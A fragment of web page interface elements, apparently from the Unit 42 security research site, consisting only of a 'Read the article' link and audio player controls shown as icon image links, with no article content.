Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)